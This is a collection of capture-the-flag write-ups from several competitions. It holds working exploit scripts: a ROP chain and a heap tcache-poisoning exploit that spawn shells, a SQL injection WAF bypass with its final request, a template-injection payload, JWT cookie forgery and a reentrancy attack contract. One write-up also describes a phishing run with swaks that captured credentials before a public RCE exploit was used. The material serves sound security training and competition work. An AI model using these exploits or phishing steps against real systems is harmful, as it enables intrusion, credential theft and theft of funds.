cipher = AES.new(iv, AES.MODE_CBC, iv)fname = b'double_agents.txt'enc_fname = cipher.encrypt( fname + bytes([16 - len(fname) % 16])*(16 - len(fname) % 16))io = remote("docker.hackthebox.eu", 30616)io.recvuntil(b"Request a document:\n")io.send(binascii.hexlify(enc_fname))io.interactive()```
Screenshot of script execution:
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# Patch of the Ninja
First, open the Game Boy ROM file in the emulator and look around. According to the description, it seems that it is necessary to get into the house, while the entrance is blocked, and something needs to be done. 
During the display of the dialog, according to the logic, some infinite loop should occur until the key is pressed or something like this. So, get a backtrace at this moment:
From these addresses we can start reversing the code. “$1e3f” is a function with a halt. “$197b” is a function that implements the main logic of the game. “$1970” is kind of initialization function.
To understand what variables in the function “$1970” do, we can change them at runtime through the debugger. This will make the code easier to understand. Changing the value of the variable at “$c211” we can notice that it changes the current map. Trying adjacent values to the original one, we find a map with a flag display.
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# Remote
After some googling we found that .sal file and SALEAE in each file inside can be opened in Logic 2.* program.
After trying all the algorithms in logic, we assume that this is some custom stuff. We can see that value in one channel in 1-4 and value in one channel in 5-8 is symmetrical. Now we can write this signal as 8 bits.
For example:0100-0100;1000-0100; 0100-1000; etc;Now we should parse it somehow. Logic offers export to the csv file function, which we will use.
So, the first symbol is 0100 - 0100. It does not look like ascii or smth, so we assume that this is the position on the keypad.
Now we assume that we have a keypad such as below (because why not?).
For example, 0100 - 0100 on the keypad it is 5. We get it like this:Keypad:xxxxx*xxxxxxxxxxThe code on C# to get our passwords:
```Cusing System;using System.IO;using System.Linq;
namespace ConsoleApp26{ class Program { static void Main(string[] args) { bool SwapAxis = true; bool InverseAxis = false;
using (var reader = new StreamReader(@"C:\\Users\\kukuxumushi\\Downloads\\Downloads\\hw_remote (1)\\csv.csv\\digital.csv")) { string keypad = "123A" + "456B" + "789C" + "*0#D";
reader.ReadLine();//skip headers
string prev_state = ""; while (!reader.EndOfStream) { string row = reader.ReadLine(); if (string.IsNullOrWhiteSpace(row)) continue; //delete time row = row.Substring(row.IndexOf(',') + 1);
//skip illegal states if (row != "1,1,1,1,0,0,0,0" && (row.StartsWith("1,1,1,1,") || row.EndsWith(",0,0,0,0"))) continue; //skip empty state if (row == "1,1,1,1,0,0,0,0") continue; //skip multiple press states(jitter) if (prev_state == row) continue;
prev_state = row; var nums = row.Split(',').Select(v => Convert.ToInt32(v)).ToArray();
int X = GetNum(nums, 0);//Get pos from first 4 channels int Y = GetNum(nums, 1);//Get pos from second 4 channels
if (InverseAxis) { X = 3 - X; Y = 3 - Y; }
if (!SwapAxis) Console.Write(keypad[X + Y * 4]); else Console.Write(keypad[Y + X * 4]); } } } static int GetNum(int[] ch, int pos) { if (pos != 0 && pos != 1) throw new Exception(); if (pos == 0) { for (int i = 0; i < 4; i++) if (ch[i] == 0) return i; } else { for (int i = 0; i < 4; i++) if (ch[4 + i] == 1) return i; } throw new Exception(); } }}```
Now we got 4 possible passwords:1. 5424*D2B10*7286B*364742*DB1B4B7*#D2. 5242AD401BA34680A782324AD010203ACD3. 9C#CA1#7D3AB#687A08CBC#A17D7C7BA214. 9#C#*1C3D7*0C863*B6#0#C*13D3#30*414 passwords are because we don’t know from which side/angle we start.Trying all the password one by one:
Looks like the flag is wrong.
HTB{m4721c35_423_v32y_c0mm0n_1n_3m83dd3d_d3v1c35!@&325$} |
# wafwafWe were given an URL for task instance which revealed us application’s source code:
Application constructs SQL query with user-provided user and pass parameters, but there is a regular expression check: provided params cannot contain select, where, union, dot sign, quote sign and opening bracket. So, we need to bypass this simple filter to get the flag from the database.First, we need to escape from string context (between quotes). To do so we can simply put backslash before closing quote sign for username string. Also we put a mysql comment to make this query valid, but still it returned 0 rows.
(my bad, screenshot contains regular slash instead of backslash, but we cannot make new screenshot now, anyway you got the idea)
We confirmed the bypass was working by debugging it using a local mysql server and going through source code again. Mysql queries were run by a multi_query function (https://www.php.net/manual/ru/mysqli.multi-query.php). So, we can put another query separated by semicolon. But we cannot use select, where and union words.
Luckily, there are prepared statements in mysql itself (https://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html )! Also, we can use hex literals (https://dev.mysql.com/doc/refman/8.0/en/hexadecimal-literals.html) to bypass restrictions. So, we constructed following query to get SELECT 1:
```?user=\&pass=;SET @t = 0x53454c4543542031;PREPARE s FROM @t;EXECUTE s; -- - ```(+ urlencode)
It worked as it should and returned us 1 which we selected. 
Now it’s time to get database structure. To do so I’ll construct query to information_schema database: 
Now we know there is a database challenge with table definitely_not_a_flag. To complete a challenge, we need to construct simple query to get a flag:
 And here is final request:
```GET /?user=\&pass=%3bSET+%40t+%3d+0x53454c454354202a2066726f6d206368616c6c656e67652e646566696e6974656c795f6e6f745f615f666c6167%3bPREPARE+s+FROM+%40t%3bEXECUTE+s%3b+--+-+ HTTP/1.1```
Flag: HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!} |
# YAY! (988 pts)This challenge is another PE (32-bit this time, so no hex-rays in my IDA Home). The task's description was:
> unpackme if you can !
which was a bit misleading as we'll see later. The binary had some "weird" anti-debugging tricks which were for the most by ScyllaHide on x64dbg for me. The first anti-debugger trick I encoutered was:```push 0push 0push ThreadHideFromDebuggerpush 0FFFFFFFEhcall esi ; NtSetInformationThreadpush 4push 4push ThreadHideFromDebuggerpush 0FFFFFFFEhcall esi ; NtSetInformationThread```which basically shuts down all debugging features of the process who calls this function (if not hooked by ScyllaHide :þ). Then there was a quite huge function in 0x4057B0 that seemed to scrap syscalls numbers from NTDLL, but I didn't spend time to identify what syscalls.
Then another anti-debug function that did "WinVerifyTrust" calls to check some DLL integrity, calling scrapped syscall from previous function and putting vectored exception handler after that. For some reason, the function failed, but I just forced EIP to bypass the check after, so I could trigger the useful part of the binary.
Once the antidebugs bypassed, the binary connects to a server to fetch a string, which is actually:```0,1,7,13,9,0,8,4,1,0,10,1,0,11,25,12,2,1,14,2,1,1,1,5,10,16,18,17,0,4,1,0,10,1,0,11,53,19,2,20,3,10,2,3,11,48,21,6,1,1,1,5,32,22,6```This string is then splitted by "," character and each int is stored in array. This array is just bytecode for a custom VM, which contains 24 handlers. After some reversing, I was able to decode this bytecode and got this:```0,1 // weird init7 // print welcome13 // input flag9,0 // mov r0, flag_size8 // print flag, srand(0x10c9) and creates an array of (rand() % 7) + 14,1,0 // mov r1, 010,1,0 // cmp r1, r011,25 // jz @26 12,2,1 // mov r2, flag[r1] 14,2 // push r2 1,1,1 // add r1, 1 5,10 // jmp @1016 // crypt_input_buf18 // put_serial_vec17,0 // mov r0, serial_len4,1,0 // mov r1, 010,1,0 // cmp r1, r0 11,53 // jz @53 19,2 // mov r2, enc_input 20,3 // mov r3, input 10,2,3 // cmp r2, r3 11,48 // jz 48 21,6 // print badboy 1,1,1 // add r1, 15,32 // jmp @3222,6 // print goodboy```The interesting handler is "crypt_input_buf" handler, which looks like this:```.text:004022BD cmp [esi+VMContext.flagbuffer.sz1], 0 ; jumptable 00402151 case 16.text:004022C1 mov [ebp+i], 0.text:004022CB jbe def_402151 ; jumptable 00402151 default case.text:004022D1 mov edi, [esi+VMContext.input_vec.end].text:004022D4 mov edx, [esi+VMContext.randvec.end].text:004022D7 nop word ptr [eax+eax+00000000h].text:004022E0.text:004022E0 loc_4022E0: ; CODE XREF: DecodeInstruction+30E↓j.text:004022E0 mov edi, [edi-4].text:004022E3 mov ecx, 8.text:004022E8 mov edx, [edx-4].text:004022EB mov eax, edi.text:004022ED sub ecx, edx.text:004022EF sar eax, cl.text:004022F1 mov ecx, edx.text:004022F3 shl edi, cl.text:004022F5 or eax, edi.text:004022F7 movzx ecx, al.text:004022FA mov eax, [esi+VMContext.enc_input.end].text:004022FD mov [ebp+var_C4], ecx.text:00402303 cmp eax, [esi+VMContext.enc_input.alloc_end].text:00402306 jz short loc_402310.text:00402308 mov [eax], ecx.text:0040230A add [esi+VMContext.enc_input.end], 4.text:0040230E jmp short loc_402320.text:00402310 ; ---------------------------------------------------------------------------.text:00402310.text:00402310 loc_402310: ; CODE XREF: DecodeInstruction+2D6↑j.text:00402310 lea ecx, [ebp+var_C4].text:00402316 push ecx ; int.text:00402317 push eax ; Src.text:00402318 lea ecx, [esi+VMContext.enc_input].text:0040231B call vector_append```
It's basically a ROL unoptimized by the compiler, with the random array built by the "8" opcode. Then, the "encrypted" username is compared to some buffer defined at the beginning of the function:``` mov dword ptr [ebp+var_44], 2F16F25Fhmov dword ptr [ebp+var_44+4], 37CAE6AFhmov dword ptr [ebp+var_44+8], 0D8D8B037hmov dword ptr [ebp+var_44+0Ch], 0B1C10EFAhmov dword ptr [ebp+var_44+10h], 0D56C1AF5hmov dword ptr [ebp+var_44+14h], 46AFBEADhmov dword ptr [ebp+var_44+18h], 0E67DC2B9hmov dword ptr [ebp+var_44+1Ch], 0C63ABDE4hmov dword ptr [ebp+var_44+20h], 59EB67CAhmov dword ptr [ebp+var_44+24h], 0DE1DB047hmov dword ptr [ebp+var_44+28h], 3BDAFAC9hmov dword ptr [ebp+var_44+2Ch], 0C62C76F6hmov word ptr [ebp+var_44+30h], 0CCh ; 'Ì'```
Given this, we can write a decode script to get the flag:```pythonimport ctypes
crt = ctypes.cdll.msvcrt
crt.srand(0x10c9)encodedflag = bytes.fromhex("5F F2 16 2F AF E6 CA 37 37 B0 D8 D8 FA 0E C1 B1 F5 1A 6C D5 AD BE AF 46 B9 C2 7D E6 E4 BD 3A C6 CA 67 EB 59 47 B0 1D DE C9 FA DA 3B F6 76 2C C6 CC".replace(" ", ""))arr = [(crt.rand() % 7) + 1 for i in range(len(encodedflag))]decarr = arr[::-1]lol = []for i in range(len(arr)): ret = ((encodedflag[i] << (8 - decarr[i])) | (encodedflag[i] >> decarr[i])) & 0xff lol.append(ret)print(bytes(lol[::-1]))```Which gives `flag{vm_rotate_vectors_and__much_cpp_classes_yay}`. |
# reality checkIn this task our goal is to get control of rip and rsp for providing ROP-chain to make the execve(“/bin/bash”, 0, 0) syscall.
When executing a program, we have two choices that lead us to reality or fake_reality function. Both gives us a gift.
Function reality gives us an address to the printf and then asks us for the choice. If choice is equal to 1, then it calls a fake_reality function.
Function fake_reality has a buffer overflow vulnerability. It reads 70 bytes from stdin to buffer with size 54. Stack has no protection, so we can simply overwrite 16 bytes just after the buffer and control rip.
Our steps are looks like:
1. Make the second choice in main to get to the reality function.2. Calculate libc base address by the pointer to printf.3. Make the first choice in reality to get to the fake_reality function.4. Knowing the address of the buffer, write a ROP-chain to it and use overflow to set rbp to our buffer and rip to (leave; ret) address. That causes rsp to point on the buffer that already contains ROP-chain. After this step, we must get a shell..5. When getting shell, execute “cat flag.txt” to get a flag.There is the script that doing all this steps:
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template ./reality_check --host docker.hackthebox.eu --port 30565from pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./reality_check')
if exe.bits == 32: lindbg = "/root/linux_server"else: lindbg = "/root/linux_server64"
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'docker.hackthebox.eu'port = int(args.PORT or 30565)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.EDB: return process(['edb', '--run', exe.path] + argv, *a, **kw) elif args.QIRA: return process(['qira', exe.path] + argv, *a, **kw) elif args.IDA: return process([lindbg], *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Arch: i386-32-little# RELRO: Full RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x8048000)
libc = ELF('./libc.so.6')
POP_ECX = 0x001938e8POP_EBX = 0x00018c85POP_EDX = 0x00001aaePOP_EAX = 0x00024b27INT80 = 0x00002d37BIN_SH = 0x17B88FLEAVE_RET = 0x804925B
io = start()
io.recvuntil('> ')io.sendline('2')
io.recvuntil('[')printf = int(io.recvuntil(']')[:-1], 16)
io.recvuntil('> ')io.sendline('1')
io.recvuntil('[')buf = int(io.recvuntil(']')[:-1], 16)
libc.address = printf - 0x50C60
print('printf:', hex(printf))print('buf:', hex(buf))print('libc base:', hex(libc.address))
io.recvuntil('> ')
pl = p32(libc.address + POP_EBX) + p32(libc.address + BIN_SH)pl += p32(libc.address + POP_ECX) + p32(0)pl += p32(libc.address + POP_EDX) + p32(0)pl += p32(libc.address + POP_EAX) + p32(11)pl += p32(libc.address + INT80)pl += cyclic(22)pl += p32(buf-4) + p32(LEAVE_RET)
print('payload length:', len(pl))
io.send(pl)sleep(0.5)
io.sendline('cat flag.txt')
io.interactive()```
Screenshot of the script execution:
 |
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# baby bonechewerconWe are given an archive with a docker image for the challenge. It is a Twig application that is vulnerable to Server-Side Template Injection. It allows us to execute any code on the server and get the flag.
 After submitting `{{['cat /flag']|filter('system')}} ` as the name we get the flag.  |
# Speedrun 3
Web
### Description[http://challenges.ctfd.io:30043/](http://challenges.ctfd.io:30043/)
### Solution
#### DiscoveryFirst, we enter the site and randomly fill in the inputWe then refresh it and see `{"admin":false,"name":"asd"}`We also note that a cookie, named `authtoken` was created, with the value `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5hbWUiOiJhc2QifQ.i9II9riAxP5OSQrVDrRX2dOnNaJI_K4Vk9FED-ADuVs`We play around with the cookie by deleting half of it, and was greeted with an error`Fatal error: Uncaught UnexpectedValueException: Wrong number of segments in /var/www/html/index.php:84 Stack trace: #0 /var/www/html/index.php(531): Firebase\JWT\JWT::decode('eyJ0eXAiOiJKV1Q...', '82a59879a507', Array) #1 {main} thrown in /var/www/html/index.php on line 84`
#### JWT? decode?We google "JWT decode", and it brings us to [jwt.io](https://jwt.io/)When we input the cookie, it shows us the value, yet it says `Invalid Signature`We find that the format for the code is `JWT::decode($payload, JWK::parseKeySet($jwks), $supportedAlgorithm);`Hence, we input the 256-bit-secret as `82a59879a507`Now, it is verified
#### Getting the flagWe use the tool to change `admin` to `true`, and get `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibmFtZSI6ImFzZCJ9.YTbnlIIllCx5UyHp4N-M1f00hDl5erOGmq2V17N8RKg`We set it as the cookie, reload the page, and get the flag
> UDCTF{st00p1d_PHP_err0r_mess4ges} |
# tvQuizGameIn this task we’re challenged with stealing all the ETH from the contract. We’re provided with the address of the contract and its source code and ABI.
The contract has some interesting functions starting with:
```jsfunction inCaseOfEmergency() external { require(isContractInFailure == true); require(msg.sender.send(address(this).balance) == true);}```
If we manage to set “isContractInFailure” to “true” we’ll be able to send all ETH from the contract to ourselves.
Variable “isContractInFailure” is set in the following function:
```jsfunction terminateTheContest() public { require(isCompetitionOpen == true); checkWinners(); fillInTheAccounts(); if(payWinnersProcess()){ isCompetitionOpen = false; } else { isContractInFailure = true; }}```
So, we need to get the function “payWinnersProcess” to return “false”.
```jsfunction payWinnersProcess() internal returns(bool) { uint256 i = nextTransaction; while(i < winnerAddresses.length) { if(!winnerAddresses[i].send(wonAmount[winnerAddresses[i]])) return false; i++; } nextTransaction = i; return true;}```We can see that “payWinnersProcess” returns “false” when there is an error sending ETH to some address. Error can happen if there is not enough ETH in the contract and probably under some other conditions (me noob much).
Trying to apply Reentrancy attack to this contract we notice that during “payWinnersProcess” function it is still possible to register to the guessing game using “tryYourLuck”:
```jsfunction tryYourLuck(uint8 submittedAnswer) public { require(now < creationTimestamp + 15 minutes); participantAddresses.push(msg.sender); responseSubmitted[msg.sender] = submittedAnswer;}```
The only requirement to register for the game is time being in range of 15 minutes since the contract creation. So, the flow of reentrancy attack using malicious contract might look like this:
```jsmaliciousContract: TVQuizTime.tryYourLuck(12); TVQuizTime.terminateTheContest();
TVQuizTime: checkWinners(); fillInTheAccounts(); payWinnersProccess(); // calls the fallback function in maliciousContract upon sending ETH
maliciousContract: fallback(): TVQuizTime.tryYourLuck(12); TVQuizTime.terminateTheContest();
TVQuizGame: checkWinners(); fillInTheAccounts(); payWinnersProccess(); // calls the fallback function in maliciousContract upon sending ETH
maliciousContract: fallback(): TVQuizTime.tryYourLuck(12); TVQuizTime.terminateTheContest();
// and so on until TVQuizTime balance exhaustion ```
Upon balance exhaustion in the TVQuizTime contract there still might be some ETH left on the balance, just not enough to send to the winners. But since we triggered the error and set “isContractInFailure” to “true”, we can get the remaining ETH using “inCaseOfEmergency”.
Source code of malicious contract:
```jspragma solidity ^0.6.4;
contract TVQuizTime { function tryYourLuck(uint8) public {} function terminateTheContest() public {}}
contract ProxyPlox { address payable private contractOwner; constructor() public payable { contractOwner = msg.sender; } function callTryLuck(address _address) public { TVQuizTime(_address).tryYourLuck(12); } function callTerminate(address _address) public { TVQuizTime(_address).terminateTheContest(); } fallback() external payable { callTryLuck(msg.sender); callTerminate(msg.sender); } function startDis(address _address) public { if (msg.sender == contractOwner) { callTryLuck(_address); callTerminate(_address); } } function getBack() public { contractOwner.transfer(address(this).balance); }}```
Screenshot of deploying malicious contract and calling “inCaseOfEmergency”:
Getting flag:
Screenshots above were taken during ctf-after-hours. The address of TVQuizTime during CTF (we hope not mistaken):0x5827254ae3cab02f2603017ccd65074bc6c9ad20The address of ProxyPlox contract during CTF:0x9C0C915AD3B9A86DCa25b27dfD7Ced685ff9a157The address of wallet calling “inCaseOfEmergency” during CTF:0x7ceA06e09d0EcB782bc437fd45429dA5076A0f5A |
### Bug\Off-by-one nullbyte at `edit` and `create`.\Full solver,
```python#!/usr/bin/python3
from pwn import *
PATH = './chall'
GDBSCRIPT = ''''''
HOST = 'challenge.nahamcon.com'PORT = 31385
def debug(gdbscript): if type(r) == process: gdb.attach(r, gdbscript , gdb_args=["--init-eval-command='source ~/.gdbinit_pwndbg'"])
def choice(command): r.recvuntil('-------------------------\n') r.sendline(f'{command}')
def add(idx, size, email): choice('add') r.sendlineafter(':\n', f'{idx}') r.sendlineafter(':\n', f'{size}') r.sendafter(':\n', email)
def view_all(): choice('print') r.recvline(0) out = r.recvline(0) arr = [] while b'Enter' not in out: arr.append(out.split(b': ')[-1]) out = r.recvline(0) return arr def edit(idx, email): choice('edit') r.sendlineafter(':\n', f'{idx}') r.sendafter(':\n', email)
def delete(idx): choice('delete') r.sendlineafter(':\n', f'{idx}')
def exploit(r): # Prepare free'd chunk size 0x10 for heap struct size 0x10 (contains: email size and email pointer) add(0, 0x8, 'A'*0x4) add(1, 0x8, 'A'*0x4) delete(0) delete(1)
# tcachebins # 0x10 [ 4]: 0x5655a190 -> 0x5655a1a0 -> 0x5655a170 -> 0x5655a180 <- 0x0
# Prepare target chunk for consolidate add(0, 0x8c, 'A'*8) add(1, 0x9c, 'A'*8) add(2, 0xfc, 'A'*8)
# Fill-up tcachebins (0x88 / 0x101) for i in range(7): add(3+i, 0xfc, 'A'*8)
for i in range(7): delete(i+3)
# tcachebins # 0x88 [ 7]: 0x5655aa40 -> 0x5655a930 -> 0x5655a820 -> 0x5655a710 -> 0x5655a600 -> 0x5655a4f0 -> 0x5655a3e0 <- 0x0
# Fill-up tcachebins (0x50 / 0x91) for i in range(7): add(3+i, 0x8c, 'A'*8)
for i in range(7): delete(i+3)
# tcachebins # 0x50 [ 7]: 0x5655aea0 -> 0x5655ae10 -> 0x5655ad80 -> 0x5655acf0 -> 0x5655ac60 -> 0x5655abd0 -> 0x5655ab40 <- 0x0 delete(0)
# Poisoning nullbyte and set fake prev_size of chunks[1]. edit(1, b'X'*8 + b'\n' + b'X'*0x8f + p32(0xa0 + 0x90))
# Trigger, chunk[0] - chunk[2] will be consolidate. delete(2)
# Create chunks size 0x88 for gaining information leaks add(0, 0x8c, 'A'*8 + '\n') add(2, 0x8c, 'A'*8 + '\n')
for i in range(4, 10): add(i, 0x8c, 'A'*8 + '\n')
# Now, chunk[1] contains address of main_arena main_arena = u32(view_all()[1][:4]) libc.address = main_arena - 0x1d57d8
# libc.address = main_arena - 0x1d87d8
print(f'[!] LEAK 0x{main_arena:x}') print(f'[!] LIBC 0x{libc.address:x}')
# Prepare space of global_email_ptr for tcache-poisoning. delete(0) delete(2)
for i in range(4, 10): delete(i)
# Create chunks with size 0x200, overlap with chunk[1]. add(0, 0x200, 'X'*0x10)
# Free chunks[1] delete(1)
# Tcache-poisoing, overwrite tcache FD pointer chunk[1] to __free_hook. edit(0, b'A'*0x8c + p32(0x1a1) + p32(libc.sym['__free_hook']))
# 0xd8 [ 1]: 0x5655a240 -> 0x2aa4b8d0 (__free_hook) <- ...
# Padding and prepare for string "/bin/sh". add(1, 0x190, '/bin/sh')
# Overwrite `__free_hook` to `__libc_system` add(2, 0x190, p32(libc.sym['system']))
# pwndbg> tel &__free_hook 1 # 00:0000│ 0x2aa4b8d0 (__free_hook) -> 0x2a8af2e0 (system) ...
# Trigger free("/bin/sh") -> system("/bin/sh") ! delete(1) # debug(GDBSCRIPT) ''' $ id uid=1000(notroot) gid=1000(notroot) groups=1000(notroot) $ ls -l total 2064 -rwxr-xr-x 1 notroot notroot 9468 Mar 7 03:33 chall -rw-r--r-- 1 root root 39 Mar 7 03:33 flag_066646e4be1e6ea2.txt -rwxr-xr-x 1 root root 159956 Mar 7 03:33 ld-linux.so.2 -rw-r--r-- 1 root root 31 Mar 7 03:33 libc.txt -rwxr-xr-x 1 root root 1926828 Mar 7 03:33 libc6-i386_2.27-3ubuntu1_amd64.so $ cat flag* flag{e0ef1723c16102559a07c68e3c956e43} '''
r.interactive()
if __name__ == '__main__': elf = ELF(PATH) libc = ELF('./libc.so.6', 0)
if args.REMOTE: r = remote(HOST, PORT) else: r = process(PATH, aslr=0, env={ 'LD_PRELOAD' : './libc.so.6' }) exploit(r)``` |
Real exploit involved ROP chains to escalate JIT bugs.
*broke:* looking for old firefox JIT bug CVEs
*woke:* `os.system('cat /flag.txt')`
`os.system()` was in the scope lol, so just input `os.system('cat /flag.txt')` in Bob's jsshell to get flag.
`utflag{d1d_y0u_us3_a_j1t_bug_0r_nah}` |
# one line php challengeWe were given an archive with a docker image for the challenge. To get the flag we need to run a suid binary file. Challenge itself is simple: we have php code injection with disable_functions for every system exec function, also there is open_basedir set to /www and /tmp directories:
All we need to know to solve the challenge - php was compiled with iconv enabled:
There is a disable_function bypass using iconv in php: https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80.And yes, we do not have putenv disabled, so we can easily use it. We’ve prepared a payload that runs /readflag binary and writes output to /tmp directory which is accessible for us:
Compiled it on local challenge copy’s container:
And we wrote a simple php script which runs our payload and prints a flag:
So, we just need to upload and execute it. To do so we base64’d all files two times to upload it as is using following command `base64 -w 0 payload.so | base64 -w 0 > payload.so.b643 `Here is exploitation process:
Flag: HTB{iconv_r34lly_b3_d01ng_us_lik3_th4t} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>UTCTF 2021<span>/</span> </div> </div>
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# Read - DaVinciCTF
- Category: Stega- Points: 10- Solves: 131- Solved by: raff01
## Description
Just read!!
## Analysis
In this challenge we'are given an image called "flag.png". The description says "Just read!!" so probably the flag is hidden in the image somehow. Let's analyse the image with a Steganographic tool like Stegsolve. If we slide the various planes we won't find anything but if we pay attention to the center of the image we can notice something strange, probably it's the flag!
## Solution
Let's analyse the image with the stereogram solver of Stegsolve. This tool permits us to set the offset. If we increment it we can see that something is appearing in the center of the image. If we set the offset to 160 we will obtain the flag!
## Flag
`dvCTF{th4t5_4_l0t_0f_n0153}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>UTCTF 2021<span>/</span> </div> </div>
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# Welcome
First of all, we got a password from an email “{Un1-CTF-Fin4ls-21-R0ck!}”. Using it, we can enter closed rooms in the discord by sending a command to the bot.
After that we can get a flag from the “uni-ctf-finals-rules” channel.
 |
I opened up the zip file containing the encrypted files and malware.py.
One thing I noticed about malware.py is that it uses the AES CTR algorithmto encrypt the files. That's essentially a stream cipher and I will referto the stream being xor'd with the plaintext as "keystream".
First, let's review AES CTR. What AES CTR does is that, instead of encryptingthe plaintext by running AES on the plaintext, as is done in ECB, it generatesa keystream by taking a counter block and, for every block that needs to be encrypted,runs AES on the counter block and increments it by 1 after each iteration. Thiskeystream is then xor'd with the plaintext to get the ciphertext. An importantthing to note here is that this is completely deterministic.
More documentation about AES can be found herehttps://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
Now, I also notice that the IV used to encrypt the files varies only by 1every time. That's an absurdly small amount and is enough to raisedoubt on the efficacy program used here.
I noticed that a PNG is in there. Now, those who have studied PNGs will knowthat the first 16 bytes of a good PNG are predictable (8 byte magic header,and 8 bytes for a length of 13 and chunk header 'IHDR'). So one might have theinitial idea to get the keystream for that file by doing an xor of the encryptedfile with the predicted bytes to get the original keystream.
This is a good idea, except that 16 bytes isn't enough to get the flag.Let's not abandon this idea completely yet, though.
It took me a bit to actually realize that one of the files encrypted ismalware.py. That's actually really awesome, because we have the entireplaintext of that file, so we can get a really long keystream from that.
How do we use that keystream, though? It's not immediately obvious.After a bit of thinking, I realized I don't know what order os.listdir()actually outputs filenames. I decided copy the encrypted files to a test folder,renamed them without the extension. Then I ran os.listdir on my local machine inside this new folder and I had an epiphany after I saw the following output
['malware.py', 'flag.txt', 'shopping_list.txt', 'CTF-favicon.png']
If this was the order the files were encrypted in, then getting the flagis actually really easy. malware_keystream starting at byte 16 is the sameas flag_keystream starting at byte 0, since malware_keystream is initializedwith initial value IV and flag_keystream is initialized with initial valueIV + 1 (thus, at block 1 in malware, counter block = (IV) + 1, and at block 0 in flag, counterblock = (IV + 1)).
So I then opened up the python interpreter and went ahead to write the codeI needed. I made an assumption when writing it, which is that malware.py isthe first file encrypted.
After that, I entered the following in my interpreter
plaintext = open('malware.py', 'rb').read()
ciphertext = open('malware.py.enc', 'rb').read()
keystream = bytes([p ^ c for p, c in zip(plaintext, ciphertext)])
open('keystream', 'wb').write(keystream)
flagplain = open('flag.txt.enc', 'rb').read()
flagkeystream = keystream[16:]
print(bytes([p ^ k for p, k in zip(flagplain, flagkeystream)]))
flagkeystream = keystream[32:]
print(bytes([p ^ k for p, k in zip(flagplain, flagkeystream)]))
It actually outputs the flag when flagkeystream = keystream[32:]but you'd keep going with this pattern for keystream[48:],keystream[64:], ..., until you get the flag, or untilyou realize that flag.txt was actually encrypted before malware.py(which you hope is not the case)
After you do this, you get the flag, which isUMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0} |
# Umbarco
At initial point we scanned the network with command nmap -Pn 10.10.10.225-246 and got 2 hosts with opened 80 port (10.10.10.245 and 10.10.10.246) and 2 hosts with opened 25 port (10.10.10.225 and 10.10.10.226).Crawling the site at 10.10.10.246 we found 5 emails:
- [email protected]- [email protected]- [email protected]- [email protected]- [email protected]
And after we tried to fish something sending a link to our fake site with the following command:
```while read mail; do swaks --to $mail --from "[email protected]" --header "Subject: http://10.10.14.34" --body "http://10.10.14.34" --server 10.10.10.226 --ehlo debain; done < mail.txt```, where mail.txt is a list of founded emails.Bingo! We got credentials! `user=d.taylor&password=M3g%40St0r3%21`Using credentials and public exploit https://github.com/noraj/Umbraco-RCE we got an RCE on the target machine and found a flag.
 |
## War and Pieces(steganography challenge)
Original image:
First, I saw the hint that its nothing to do with EXIF data and just old school steg, so i began looking at the image carefully.
I remembered that flags start with UMASS{ and end with } so i thought it could be possible that every two soldiers represented a byte (8 bits).
It would make sense to start reading from top left going right. Looking at the image, i noticed the last two soldiers in the first row, and first two soldiers in the second row were the same. They correspond to the letters (SS from UMASS) so i knew i was on the right track.
First letter is U = 85 decimal = 0101 0101 binary
I started writing it all down in notepad but I couldn't solve it by hand because the flag didn't make sense...
After figuring out half the soldiers values, i was left with unknown ones that could be either 0000, 1000, 1010, 1100, 1110... I knew that the flag almost always contains character _ as well. So i wrote a python script to permute the possible choices left for me.
```python
from itertools import permutations import binascii
def guess(): possible_choices = ["0010", "0110", "1000", "1001", "1010", "1100", "1110", "1111", "0000"] a = "0101" # white soldier crouching left with rifle b = "0100" # black soldier waving with rifle c = "1101" # white soldier waving with rifle d = "1011" # white soldier aiming right with rifle e = "0011" # black soldier aiming left with pistol f = "0001" # black soldier aiming right with rifle g = "0111" # black soldier crouching left with rifle h = "" # white soldier aiming left with pistol i = "" # white soldier with rifle and handgun j = "" # white soldier crouching right with rifle k = "" # black soldier crouching right with rifle l = "" # black soldier facing backwards unknown_soldiers = [h,i,j,k,l] perms = permutations(possible_choices, 5) n = 0 for perm in list(perms): (h,i,j,k,l) = perm string = a + a + b + c + b + f + a + e + \ a + e + g + d + i + j + i + i + \ i + j + a + k + g + b + e + h + \ g + i + a + k + g + e + e + h + \ i + j + i + l + e + b + g + e + \ g + c hexStr = hex(int(string, 2)) output = binascii.unhexlify(hexStr[2:]) try: strOutput = output.decode("ascii") except UnicodeDecodeError: pass else: if strOutput.isascii() and strOutput.isprintable() and "_" in strOutput: print(strOutput) n += 1 print ("total possible flags:" + str(n)) def is_ascii(s): return all(ord(c) < 128 for c in s) if __name__ == "__main__": guess()```It outputted 420 results (hehe) and I looked for the one that made the most sense in "english".
